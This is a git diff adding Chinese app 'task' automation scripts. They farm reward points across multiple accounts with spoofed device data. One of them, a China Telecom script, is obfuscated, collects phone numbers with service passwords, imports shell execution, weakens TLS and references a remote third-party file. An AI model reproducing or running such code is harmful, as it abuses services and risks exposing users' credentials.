+ "appInfo": JSON.stringify({ "appVersion": "3.2.6", "osVersion": "Android 10", "appType": "Android", "deviceName": "Xiaomi MI 8 Lite", "deviceId": "7ec3eaf292dc3ead268d7335cc308f88@1703156059659" }),
+ "Cache-Control": "no-cache",
+ "platform": 2,
+ "device": "cAndroid",
+ "deviceSN": "7ec3eaf292dc3ead268d7335cc308f88@1703156059659",
+ "Cookie": this.ck,
+ //"userId": "",
+ "appKey": 9831532554,
+ "ice-auth-appkey": 9831532554,
+ "ice-auth-timestamp": timestamp,
+ "ice-auth-sign": sign,
+ "Content-Type": "application/json;charset=UTF-8",
+ "Host": "lqdm-app.dflzm.com",
+ "Connection": "Keep-Alive",
+ "Accept-Encoding": "identity"
+ }
+ }
+ get_uuid() {
+ return 'xxxxxxxx-xxxx-xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (c) {
+ var r = Math.random() * 16 | 0,
+ v = c == 'x' ? r : (r & 0x3 | 0x8);
+ return v.toString(16);
+ });
+ }
+}
+
+async function start() {
+ let taskall = [];
+ for (let user of userList) {
+ if (user.ckStatus) {
+ taskall.push(await user.main());
+ }
+ }
+ await Promise.all(taskall);
+ $.msg($.name, `任务已完成`)
+}
+
+!(async () => {
+ if (!(await checkEnv())) return;
+ if (userList.length > 0) {
+ await start();
+ }
+
+ await $.sendMsg($.logs.join("\n"))
+})()
+ .catch((e) => console.log(e))
+ .finally(() => $.done());
+
+//********************************************************
+/**
+ * 变量检查与处理
+ * @returns
+ */
+async function checkEnv() {
+ let userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || ""
+ if (userCookie) {
+ let e = envSplitor[0];
+ for (let o of envSplitor)
+ if (userCookie.indexOf(o) > -1) {
+ e = o;
+ break;
+ }
+ for (let n of userCookie.split(e)) n && userList.push(new UserInfo(n));
+ } else {
+ console.log("未找到CK");
+ return;
+ }
+ return console.log(`共找到${userList.length}个账号`), true; //true == !0
+}
+
+/////////////////////////////////////////////////////////////////////////////////////
+// prettier-ignore
+function Env(t, s) { return new (class { constructor(t, s) { this.name = t; this.data = null; this.dataFile = "box.dat"; this.logs = []; this.logSeparator = "\n"; this.startTime = new Date().getTime(); Object.assign(this, s); this.log("", `\ud83d\udd14${this.name},\u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"); this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), s = this.path.resolve(process.cwd(), this.dataFile), e = this.fs.existsSync(t), i = !e && this.fs.existsSync(s); if (!e && !i) return {}; { const i = e ? t : s; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"); this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), s = this.path.resolve(process.cwd(), this.dataFile), e = this.fs.existsSync(t), i = !e && this.fs.existsSync(s), o = JSON.stringify(this.data); e ? this.writeFileSync(t, o) : i ? this.fs.writeFileSync(s, o) : this.fs.writeFileSync(t, o) } } lodash_get(t, s, e) { const i = s.replace(/\[(\d+)\]/g, ".$1").split("."); let o = t; for (const t of i) if (((o = Object(o)[t]), void 0 === o)) return e; return o } lodash_set(t, s, e) { return Object(t) !== t ? t : (Array.isArray(s) || (s = s.toString().match(/[^.[\]]+/g) || []), (s.slice(0, -1).reduce((t, e, i) => Object(t[e]) === t[e] ? t[e] : (t[e] = Math.abs(s[i + 1]) >> 0 == +s[i + 1] ? [] : {}), t)[s[s.length - 1]] = e), t) } getdata(t) { let s = this.getval(t); if (/^@/.test(t)) { const [, e, i] = /^@(.*?)\.(.*?)$/.exec(t), o = e ? this.getval(e) : ""; if (o) try { const t = JSON.parse(o); s = t ? this.lodash_get(t, i, "") : s } catch (t) { s = "" } } return s } setdata(t, s) { let e = !1; if (/^@/.test(s)) { const [, i, o] = /^@(.*?)\.(.*?)$/.exec(s), h = this.getval(i), a = i ? ("null" === h ? null : h || "{}") : "{}"; try { const s = JSON.parse(a); this.lodash_set(s, o, t), (e = this.setval(JSON.stringify(s), i)) } catch (s) { const h = {}; this.lodash_set(h, o, t), (e = this.setval(JSON.stringify(h), i)) } } else e = this.setval(t, s); return e } getval(t) { if (this.isSurge() || this.isLoon()) { return $persistentStore.read(t) } else if (this.isQuanX()) { return $prefs.valueForKey(t) } else if (this.isNode()) { this.data = this.loaddata(); return this.data[t] } else { return this.data && this.data[t] || null } } setval(t, s) { if (this.isSurge() || this.isLoon()) { return $persistentStore.write(t, s) } else if (this.isQuanX()) { return $prefs.setValueForKey(t, s) } else if (this.isNode()) { this.data = this.loaddata(); this.data[s] = t; this.writedata(); return true } else { return this.data && this.data[s] || null } } initGotEnv(t) { this.got = this.got ? this.got : require("got"); this.cktough = this.cktough ? this.cktough : require("tough-cookie"); this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar(); if (t) { t.headers = t.headers ? t.headers : {}; if (typeof t.headers.Cookie === "undefined" && typeof t.cookieJar === "undefined") { t.cookieJar = this.ckjar } } } queryStr(options) { return Object.entries(options).map(([key, value]) => `${key}=${typeof value === 'object' ? JSON.stringify(value) : value}`).join('&') } isJSONString(str) { try { var obj = JSON.parse(str); if (typeof obj == 'object' && obj) { return true } else { return false } } catch (e) { return false } } isJson(obj) { var isjson = typeof (obj) == "object" && Object.prototype.toString.call(obj).toLowerCase() == "[object object]" && !obj.length; return isjson } async sendMsg(message) { if (!message) return; if ($.isNode()) { await notify.sendNotify($.name, message) } else { $.msg($.name, '', message) } } async httpRequest(options) { const t = { ...options }; if (!t.headers) { t.headers = {} } if (t.params) { t.url += '?' + this.queryStr(t.params) } t.method = t.method.toLowerCase(); if (t.method === 'get') { delete t.headers['Content-Type']; delete t.headers['Content-Length']; delete t["body"] } if (t.method === 'post') { let contentType; if (!t.body) { t.body = "" } else { if (typeof t.body == "string") { if (this.isJSONString(t.body)) { contentType = 'application/json' } else { contentType = 'application/x-www-form-urlencoded' } } else if (this.isJson(t.body)) { t.body = JSON.stringify(t.body); contentType = 'application/json' } } if (!t.headers['Content-Type']) { t.headers['Content-Type'] = contentType } delete t.headers['Content-Length'] } if (this.isNode()) { this.initGotEnv(t); let httpResult = await this.got(t); if (this.isJSONString(httpResult.body)) { httpResult.body = JSON.parse(httpResult.body) } return httpResult } } randomNumber(length) { const characters = '0123456789'; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join('') } randomString(length) { const characters = 'abcdefghijklmnopqrstuvwxyz0123456789'; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join('') } timeStamp() { return new Date().getTime() } uuid() { return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (c) { var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); return v.toString(16) }) } time(t) { let s = { "M+": new Date().getMonth() + 1, "d+": new Date().getDate(), "H+": new Date().getHours(), "m+": new Date().getMinutes(), "s+": new Date().getSeconds(), "q+": Math.floor((new Date().getMonth() + 3) / 3), S: new Date().getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in s) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ("00" + s[e]).substr(("" + s[e]).length))); return t } msg(s = t, e = "", i = "", o) { const h = (t) => !t || (!this.isLoon() && this.isSurge()) ? t : "string" == typeof t ? this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : void 0 : "object" == typeof t && (t["open-url"] || t["media-url"]) ? this.isLoon() ? t["open-url"] : this.isQuanX() ? t : void 0 : void 0; this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(s, e, i, h(o)) : this.isQuanX() && $notify(s, e, i, h(o))); let logs = ['', '==============📣系统通知📣==============']; logs.push(t); e ? logs.push(e) : ''; i ? logs.push(i) : ''; console.log(logs.join('\n')); this.logs = this.logs.concat(logs) } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, s) { const e = !this.isSurge() && !this.isQuanX() && !this.isLoon(); e ? this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t) } wait(t) { return new Promise((s) => setTimeout(s, t)) } done(t = {}) { const s = new Date().getTime(), e = (s - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } })(t, s) }
diff --git a/dfyc.js b/dfyc.js
new file mode 100644
index 00000000..be1b3e2c
--- /dev/null
+++ b/dfyc.js
@@ -0,0 +1,578 @@
+/**
+ * cron 5 15 * * *
+ * Show:东方烟草报App 积分换实物
+ * 变量名:dfycToken
+ * 变量值:POST请求任意链接包含https://eapp.eastobacco.com/index.php body中的token 多账号&分割 不是@ 和换行
+ * scriptVersionNow = "0.0.1";
+ */
+
+//Quantumult X 可以在cookies里面写变量
+const cookies = []
+
+
+const $ = new Env("东方烟草报");
+const notify = $.isNode() ? require('./sendNotify') : '';
+let ckName = "dfycToken";
+let envSplitor = ["&"]; //多账号分隔符
+let strSplitor = "#"; //多变量分隔符
+let userIdx = 0;
+let userList = [];
+let msg = ""
+class UserInfo {
+ constructor(str) {
+ this.index = ++userIdx;
+ this.ck = str.split(strSplitor)[0]; //单账号多变量分隔符
+ this.ckStatus = true;
+ this.artList = []
+ }
+ async main() {
+ await this.user_info();
+ if (this.ckStatus) {
+ await this.task_daka()
+ await this.art_list()
+ if (this.artList.length !== 0) {
+ for (let i = 0; i < 3; i++) {
+ await this.task_read(this.artList[i].id, this.artList[i].catid)
+ await this.task_share(this.artList[i].id, this.artList[i].catid)
+ await this.task_like(this.artList[i].id, this.artList[i].catid)
+ }
+ }
+ }
+ }
+ async user_info() {
+ try {
+ let options = {
+ fn: "信息",
+ method: "post",
+ url: `https://eapp.eastobacco.com/index.php?m=api&c=user&a=userinfo`,
+ headers: {
+ "Content-Type": "application/x-www-form-urlencoded"
+ },
+ body: `platform=android&token=${this.ck}×tamp=${Date.now()}&api_version=4`
+ }
+ let { body: result } = await $.httpRequest(options);
+ //console.log(options);
+ //console.log(result);
+ if (result.code == 200) {
+ $.log(`✅账号[${this.index}] 积分[${result.data.point}]🎉`)
+ this.ckStatus = true;
+ } else {
+ console.log(`❌账号[${this.index}] 用户查询: 失败`);
+ this.ckStatus = false;
+ console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+ async task_daka() {
+ try {
+ let options = {
+ fn: "打卡",
+ method: "post",
+ url: `https://eapp.eastobacco.com/index.php?m=api&c=user&a=daka`,
+ headers: {
+ "Content-Type": "application/x-www-form-urlencoded"
+ },
+ body: `platform=android&token=${this.ck}×tamp=${Date.now()}&api_version=4`
+ }
+ let { body: result } = await $.httpRequest(options);
+ //console.log(options);
+ //console.log(result);
+ $.log(`✅账号[${this.index}] 打卡[${result.message}]🎉`)
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+ async art_list() {
+ try {
+ let options = {
+ fn: "文章列表",
+ method: "post",
+ url: `https://eapp.eastobacco.com/index.php?m=api&c=content&a=newsList_pub`,
+ headers: {
+ "Content-Type": "application/x-www-form-urlencoded"
+ },
+ body: `catid=1&num=20&page=1&api_version=4&platform=android&token=${this.ck}×tamp=${Date.now()}`
+ }
+ let { body: result } = await $.httpRequest(options);
+ //console.log(options);
+ //console.log(result);
+ if (result.data.news) {
+ for (let news of result.data.news) {
+ this.artList.push(
+ {
+ id: news.id,
+ catid: news.catid,
+ title: news.title
+ }
+ )
+ }
+ console.log(`获取文章成功`);
+ } else {
+ console.log(`获取文章失败`);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+ async task_read(id, catid) {
+ try {
+ let options = {
+ fn: "阅读",
+ method: "post",
+ url: `https://eapp.eastobacco.com/index.php?m=api&c=content&a=addvisite`,
+ headers: {
+ "Content-Type": "application/x-www-form-urlencoded"
+ },
+ body: `platform=android&token=${this.ck}×tamp=${Date.now()}&api_version=4&newsid=${id}&catid=${catid}`
+ }
+ let { body: result } = await $.httpRequest(options);
+ //console.log(options);
+ //console.log(result);
+ if (result.code == 200) {
+ $.log(`✅账号[${this.index}] 阅读[${id}]成功🎉`)
+
+ } else {
+ $.log(`❌账号[${this.index}] 阅读[${id}]失败`)
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+ async task_share(id, catid) {
+ try {
+ let options = {
+ fn: "分享",
+ method: "post",
+ url: `https://eapp.eastobacco.com/index.php?m=api&c=user&a=addScoreZf`,
+ headers: {
+ "Content-Type": "application/x-www-form-urlencoded"
+ },
+ body: `platform=android&token=${this.ck}×tamp=${Date.now()}&api_version=4&id=${id}&catid=${catid}`
+ }
+ let { body: result } = await $.httpRequest(options);
+ //console.log(options);
+ //console.log(result);
+ if (result.code == 200) {
+ $.log(`✅账号[${this.index}] 分享[${id}]成功🎉`)
+
+ } else {
+ $.log(`❌账号[${this.index}] 分享[${id}]失败`)
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+ async task_like(id, catid) {
+ try {
+ let options = {
+ fn: "点赞",
+ method: "post",
+ url: `https://eapp.eastobacco.com/index.php?m=api&c=content&a=dingcai`,
+ headers: {
+ "Content-Type": "application/x-www-form-urlencoded"
+ },
+ body: `platform=android&token=${this.ck}×tamp=${Date.now()}&api_version=4&newsid=${id}&catid=${catid}`
+ }
+ let { body: result } = await $.httpRequest(options);
+ //console.log(options);
+ //console.log(result);
+ if (result.code == 200) {
+ $.log(`✅账号[${this.index}] 点赞[${id}]成功🎉`)
+
+ } else {
+ $.log(`❌账号[${this.index}] 点赞[${id}]失败`)
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+}
+
+async function start() {
+ let taskall = [];
+ for (let user of userList) {
+ if (user.ckStatus) {
+ taskall.push(await user.main());
+ }
+ }
+ await Promise.all(taskall);
+}
+
+!(async () => {
+ if (!(await checkEnv())) return;
+ if (userList.length > 0) {
+ await start();
+ }
+ await $.sendMsg($.logs.join("\n"))
+})()
+ .catch((e) => console.log(e))
+ .finally(() => $.done());
+
+//********************************************************
+/**
+ * 变量检查与处理
+ * @returns
+ */
+async function checkEnv() {
+ let userCookie = ($.isNode() ? process.env[ckName] : cookies) || "";
+ if (userCookie) {
+ let e = envSplitor[0];
+ for (let o of envSplitor)
+ if (userCookie.indexOf(o) > -1) {
+ e = o;
+ break;
+ }
+ for (let n of userCookie.split(e)) n && userList.push(new UserInfo(n));
+ } else {
+ console.log("未找到CK");
+ return;
+ }
+ return console.log(`共找到${userList.length}个账号`), true; //true == !0
+}
+
+/////////////////////////////////////////////////////////////////////////////////////
+// prettier-ignore
+function Env(t, s) {
+ return new (class {
+ constructor(t, s) {
+ this.name = t;
+ this.data = null;
+ this.dataFile = "box.dat";
+ this.logs = [];
+ this.logSeparator = "\n";
+ this.startTime = new Date().getTime();
+ Object.assign(this, s);
+ this.log("", `\ud83d\udd14${this.name}, \u5f00\u59cb!`);
+ }
+ isNode() {
+ return "undefined" != typeof module && !!module.exports;
+ }
+ isQuanX() {
+ return "undefined" != typeof $task;
+ }
+ isSurge() {
+ return "undefined" != typeof $httpClient && "undefined" == typeof $loon;
+ }
+ isLoon() {
+ return "undefined" != typeof $loon;
+ }
+ loaddata() {
+ if (!this.isNode()) return {};
+ {
+ this.fs = this.fs ? this.fs : require("fs");
+ this.path = this.path ? this.path : require("path");
+ const t = this.path.resolve(this.dataFile),
+ s = this.path.resolve(process.cwd(), this.dataFile),
+ e = this.fs.existsSync(t),
+ i = !e && this.fs.existsSync(s);
+ if (!e && !i) return {};
+ {
+ const i = e ? t : s;
+ try {
+ return JSON.parse(this.fs.readFileSync(i));
+ } catch (t) {
+ return {};
+ }
+ }
+ }
+ }
+ writedata() {
+ if (this.isNode()) {
+ this.fs = this.fs ? this.fs : require("fs");
+ this.path = this.path ? this.path : require("path");
+ const t = this.path.resolve(this.dataFile),
+ s = this.path.resolve(process.cwd(), this.dataFile),
+ e = this.fs.existsSync(t),
+ i = !e && this.fs.existsSync(s),
+ o = JSON.stringify(this.data);
+ e ? this.writeFileSync(t, o) : i ? this.fs.writeFileSync(s, o) : this.fs.writeFileSync(t, o);
+ }
+ }
+ lodash_get(t, s, e) {
+ const i = s.replace(/\[(\d+)\]/g, ".$1").split(".");
+ let o = t;
+ for (const t of i) if (((o = Object(o)[t]), void 0 === o)) return e;
+ return o;
+ }
+ lodash_set(t, s, e) {
+ return Object(t) !== t
+ ? t
+ : (Array.isArray(s) || (s = s.toString().match(/[^.[\]]+/g) || []),
+ (s
+ .slice(0, -1)
+ .reduce(
+ (t, e, i) =>
+ Object(t[e]) === t[e]
+ ? t[e]
+ : (t[e] = Math.abs(s[i + 1]) >> 0 == +s[i + 1] ? [] : {}),
+ t
+ )[s[s.length - 1]] = e),
+ t);
+ }
+ getdata(t) {
+ let s = this.getval(t);
+ if (/^@/.test(t)) {
+ const [, e, i] = /^@(.*?)\.(.*?)$/.exec(t),
+ o = e ? this.getval(e) : "";
+ if (o)
+ try {
+ const t = JSON.parse(o);
+ s = t ? this.lodash_get(t, i, "") : s;
+ } catch (t) {
+ s = "";
+ }
+ }
+ return s;
+ }
+ setdata(t, s) {
+ let e = !1;
+ if (/^@/.test(s)) {
+ const [, i, o] = /^@(.*?)\.(.*?)$/.exec(s),
+ h = this.getval(i),
+ a = i ? ("null" === h ? null : h || "{}") : "{}";
+ try {
+ const s = JSON.parse(a);
+ this.lodash_set(s, o, t), (e = this.setval(JSON.stringify(s), i));
+ } catch (s) {
+ const h = {};
+ this.lodash_set(h, o, t), (e = this.setval(JSON.stringify(h), i));
+ }
+ } else e = this.setval(t, s);
+ return e;
+ }
+ getval(t) {
+ if (this.isSurge() || this.isLoon()) {
+ return $persistentStore.read(t);
+ } else if (this.isQuanX()) {
+ return $prefs.valueForKey(t);
+ } else if (this.isNode()) {
+ this.data = this.loaddata();
+ return this.data[t];
+ } else {
+ return this.data && this.data[t] || null;
+ }
+ }
+ setval(t, s) {
+ if (this.isSurge() || this.isLoon()) {
+ return $persistentStore.write(t, s);
+ } else if (this.isQuanX()) {
+ return $prefs.setValueForKey(t, s);
+ } else if (this.isNode()) {
+ this.data = this.loaddata();
+ this.data[s] = t;
+ this.writedata();
+ return true;
+ } else {
+ return this.data && this.data[s] || null;
+ }
+ }
+ initGotEnv(t) {
+ this.got = this.got ? this.got : require("got");
+ this.cktough = this.cktough ? this.cktough : require("tough-cookie");
+ this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar();
+ if (t) {
+ t.headers = t.headers ? t.headers : {};
+ if (typeof t.headers.Cookie === "undefined" && typeof t.cookieJar === "undefined") {
+ t.cookieJar = this.ckjar;
+ }
+ }
+ }
+ /**
+ * @param {Object} options
+ * @returns {String} 将 Object 对象 转换成 queryStr: key=val&name=senku
+ */
+ queryStr(options) {
+ return Object.entries(options)
+ .map(([key, value]) => `${key}=${typeof value === 'object' ? JSON.stringify(value) : value}`)
+ .join('&');
+ }
+ isJSONString(str) {
+ try {
+ var obj = JSON.parse(str);
+ if (typeof obj == 'object' && obj) {
+ return true;
+ } else {
+ return false;
+ }
+ } catch (e) {
+ return false;
+ }
+ }
+ isJson(obj) {
+ var isjson = typeof (obj) == "object" && Object.prototype.toString.call(obj).toLowerCase() == "[object object]" && !obj.length;
+ return isjson;
+ }
+ async sendMsg(message) {
+ if (!message) return;
+ if ($.isNode()) {
+ await notify.sendNotify($.name, message)
+ } else {
+ $.msg($.name, '', message)
+ }
+ }
+ async httpRequest(options) {
+ let t = {
+ ...options
+ };
+ if (!t.headers) {
+ t.headers = {}
+ }
+ if (t.params) {
+ t.url += '?' + this.queryStr(t.params);
+ }
+ t.method = t.method.toLowerCase();
+ if (t.method === 'get') {
+ delete t.headers['Content-Type'];
+ delete t.headers['Content-Length'];
+ delete t["body"]
+ }
+ if (t.method === 'post') {
+ let contentType;
+
+ if (!t.body) {
+ t.body = ""
+ } else {
+ if (typeof t.body == "string") {
+ if (this.isJSONString(t.body)) {
+ contentType = 'application/json'
+ } else {
+ contentType = 'application/x-www-form-urlencoded'
+ }
+ } else if (this.isJson(t.body)) {
+ t.body = JSON.stringify(t.body);
+ contentType = 'application/json';
+ }
+ }
+ if (!t.headers['Content-Type']) {
+ t.headers['Content-Type'] = contentType;
+ }
+ delete t.headers['Content-Length'];
+ }
+ if (this.isNode()) {
+ this.initGotEnv(t);
+ let httpResult = await this.got(t);
+ if (this.isJSONString(httpResult.body)) {
+ httpResult.body = JSON.parse(httpResult.body)
+ }
+ return httpResult;
+ }
+ if (this.isQuanX()) {
+ t.method = t.method.toUpperCase()
+ return new Promise((resolve, reject) => {
+ $task.fetch(t).then(response => {
+ if (this.isJSONString(response.body)) {
+ response.body = JSON.parse(response.body)
+ }
+ resolve(response)
+ })
+ })
+ }
+ }
+ randomNumber(length) {
+ const characters = '0123456789';
+ return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join('');
+ }
+ randomString(length) {
+ const characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
+ return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join('');
+ }
+ timeStamp() {
+ return new Date().getTime()
+ }
+ uuid() {
+ return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (c) {
+ var r = Math.random() * 16 | 0,
+ v = c == 'x' ? r : (r & 0x3 | 0x8);
+ return v.toString(16);
+ });
+ }
+ time(t) {
+ let s = {
+ "M+": new Date().getMonth() + 1,
+ "d+": new Date().getDate(),
+ "H+": new Date().getHours(),
+ "m+": new Date().getMinutes(),
+ "s+": new Date().getSeconds(),
+ "q+": Math.floor((new Date().getMonth() + 3) / 3),
+ S: new Date().getMilliseconds(),
+ };
+ /(y+)/.test(t) &&
+ (t = t.replace(
+ RegExp.$1,
+ (new Date().getFullYear() + "").substr(4 - RegExp.$1.length)
+ ));
+ for (let e in s)
+ new RegExp("(" + e + ")").test(t) &&
+ (t = t.replace(
+ RegExp.$1,
+ 1 == RegExp.$1.length
+ ? s[e]
+ : ("00" + s[e]).substr(("" + s[e]).length)
+ ));
+ return t;
+ }
+ msg(s = t, e = "", i = "", o) {
+ const h = (t) =>
+ !t || (!this.isLoon() && this.isSurge())
+ ? t
+ : "string" == typeof t
+ ? this.isLoon()
+ ? t
+ : this.isQuanX()
+ ? { "open-url": t }
+ : void 0
+ : "object" == typeof t && (t["open-url"] || t["media-url"])
+ ? this.isLoon()
+ ? t["open-url"]
+ : this.isQuanX()
+ ? t
+ : void 0
+ : void 0;
+ this.isMute ||
+ (this.isSurge() || this.isLoon()
+ ? $notification.post(s, e, i, h(o))
+ : this.isQuanX() && $notify(s, e, i, h(o)));
+ let logs = ['', '==============📣系统通知📣=============='];
+ logs.push(t);
+ e ? logs.push(e) : '';
+ i ? logs.push(i) : '';
+ console.log(logs.join('\n'));
+ this.logs = this.logs.concat(logs);
+ }
+ log(...t) {
+ t.length > 0 && (this.logs = [...this.logs, ...t]),
+ console.log(t.join(this.logSeparator));
+ }
+ logErr(t, s) {
+ const e = !this.isSurge() && !this.isQuanX() && !this.isLoon();
+ e
+ ? this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t.stack)
+ : this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t);
+ }
+ wait(t) {
+ return new Promise((s) => setTimeout(s, t));
+ }
+ done(t = {}) {
+ const s = new Date().getTime(),
+ e = (s - this.startTime) / 1e3;
+ this.log(
+ "",
+ `\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${e} \u79d2`
+ )
+ this.log()
+ if (this.isNode()) {
+ process.exit(1)
+ }
+ if (this.isQuanX()) {
+ $done(t)
+ }
+ }
+ })(t, s);
+}
diff --git a/dianxin.js b/dianxin.js
new file mode 100644
index 00000000..31e9b1cf
--- /dev/null
+++ b/dianxin.js
@@ -0,0 +1,2575 @@
+// 非青龙下在文件开头添加账号配置,
+//process.env.chinaTelecomAccount = `
+//13454545457#123456
+//13454545457#456789
+//`.trim();
+
+//变量格式: 手机号#服务密码
+//多号创建多个变量或者换行、&隔开
+
+
+(function (_0x1398c0) {
+ process.env.NODE_OPTIONS = "--max-old-space-size=4096 --openssl-legacy-provider";
+ process.env.NODE_OPTIONS += " --tls-cipher-list=DEFAULT@SECLEVEL=0";
+ const {
+ "DOMParser": _0x3f8ba3
+ } = require("xmldom");
+ delete __filename;
+ delete __dirname;
+ var _0x3b0b0e = new _0x3f8ba3({
+ "locator": {},
+ "errorHandler": {
+ "warning": function (_0x43074f) {},
+ "error": function (_0x4b694d) {},
+ "fatalError": function (_0x5172b4) {}
+ }
+ });
+ _0x1398c0 = 7;
+ const _0x1a907b = _0xf189dd("电信营业厅"),
+ _0x221366 = require("got"),
+ _0x7c8459 = require("path"),
+ {
+ "exec": _0x1a8673
+ } = require("child_process"),
+ _0x4c9506 = require("fs"),
+ _0x150775 = require("crypto-js"),
+ _0xd3111e = "moceleTanihc".split("").reverse().join(""),
+ _0xed67c1 = new RegExp("[\\n\\&\\@]", ""),
+ _0x5dcb01 = [_0xd3111e + "Account"],
+ _0x18914c = 30000,
+ _0x80a14f = 3,
+ _0x1104ee = _0xd3111e + "cpR".split("").reverse().join(""),
+ _0x51e8a6 = process.env[_0x1104ee],
+ _0x2a1f65 = 6.02,
+ _0x26154c = "moceleTanihc".split("").reverse().join(""),
+ _0x14c4e5 = "https://leafxcy.coding.net/api/user/leafxcy/project/validcode/shared-depot/validCode/git/blob/master/code.json",
+ _0x4b73f5 = "JinDouMall";
+ let _0x4f8ac1 = {};
+ const _0x15d9a8 = "./chinaTelecom_cache.json",
+ _0x932305 = "Mozilla/5.0 (Linux; U; Android 12; zh-cn; ONEPLUS A9000 Build/QKQ1.190716.003) AppleWebKit/533.1 (KHTML, like Gecko) Version/5.0 Mobile Safari/533.1",
+ _0x49b65a = "34d7cb0bcdf07523",
+ _0x53d03f = "swedrftghyuiok09`7654321".split("").reverse().join(""),
+ _0x36ee2c = "\0\0\0\0\0\0\0\0",
+ _0x5d0e03 = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDBkLT15ThVgz6/NOl6s8GNPofdWzWbCkWnkaAm7O2LjkM1H7dMvzkiqdxU02jamGRHLX/ZNMCXHnPcW/sDhiFCBN18qFvy8g6VYb9QtroI09e176s+ZCtiv7hbin2cCTj99iUpnEloZm19lwHyo69u5UMiPMpq0/XKBO8lYhN/gwIDAQAB",
+ _0x5de718 = "\n-----YEK CILBUP NIGEB-----".split("").reverse().join("") + _0x5d0e03 + "\n-----END PUBLIC KEY-----",
+ _0xe715f9 = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC+ugG5A8cZ3FqUKDwM57GM4io6JGcStivT8UdGt67PEOihLZTw3P7371+N47PrmsCpnTRzbTgcupKtUv8ImZalYk65dU8rjC/ridwhw9ffW2LBwvkEnDkkKKRi2liWIItDftJVBiWOh17o6gfbPoNrWORcAdcbpk2L+udld5kZNwIDAQAB",
+ _0x35f8a5 = "-----BEGIN PUBLIC KEY-----\n" + _0xe715f9 + "\n-----END PUBLIC KEY-----",
+ _0x23ffb7 = "BAQADIwry6othbBwEfpYLPbk3Boa5/NunPU8NsXm0ZtqES1tZyzMKA+K6quE36W8o59OoqJpolcJAEKLX5Hcezws1DEhbiNzMAYiOIKHJPsUxI4HSal98qQKlqmyFZwvEWmcplcy+8C6UbEcd/BJ4TyvEkYsSE+xrvFplTs4p6sjtHOPIDQgBKQiBCDANG4AAUQABEQD3bISGqSCG0AMfGIM".split("").reverse().join(""),
+ _0x5bd516 = "-----BEGIN PUBLIC KEY-----\n" + _0x23ffb7 + "\n-----END PUBLIC KEY-----",
+ _0x53ed7d = require("node-rsa");
+ let _0x253d66 = new _0x53ed7d(_0x5de718);
+ const _0x9eb7bd = {
+ "encryptionScheme": "pkcs1"
+ };
+ _0x253d66.setOptions(_0x9eb7bd);
+ let _0x40e903 = new _0x53ed7d(_0x35f8a5);
+ const _0x370ad7 = {
+ "encryptionScheme": "pkcs1"
+ };
+ _0x40e903.setOptions(_0x370ad7);
+ let _0x30d16a = new _0x53ed7d(_0x5bd516);
+ const _0x4f845c = {
+ "encryptionScheme": "pkcs1"
+ };
+ _0x30d16a.setOptions(_0x4f845c);
+ const _0x59860f = [202201, 202202, 202203],
+ _0x503087 = 5;
+ function _0x164663(_0x4a6465, _0x375482, _0x35afe0, _0xa2a707, _0x136543, _0x13f587) {
+ return _0x150775[_0x4a6465].encrypt(_0x150775.enc.Utf8.parse(_0xa2a707), _0x150775.enc.Utf8.parse(_0x136543), {
+ "mode": _0x150775.mode[_0x375482],
+ "padding": _0x150775.pad[_0x35afe0],
+ "iv": _0x150775.enc.Utf8.parse(_0x13f587)
+ }).ciphertext.toString(_0x150775.enc.Hex);
+ }
+ function _0x134cec(_0x26c7d5, _0x463040, _0x4a6336, _0x35c8a7, _0x199ce3, _0x423a3f) {
+ return _0x150775[_0x26c7d5].decrypt({
+ "ciphertext": _0x150775.enc.Hex.parse(_0x35c8a7)
+ }, _0x150775.enc.Utf8.parse(_0x199ce3), {
+ "mode": _0x150775.mode[_0x463040],
+ "padding": _0x150775.pad[_0x4a6336],
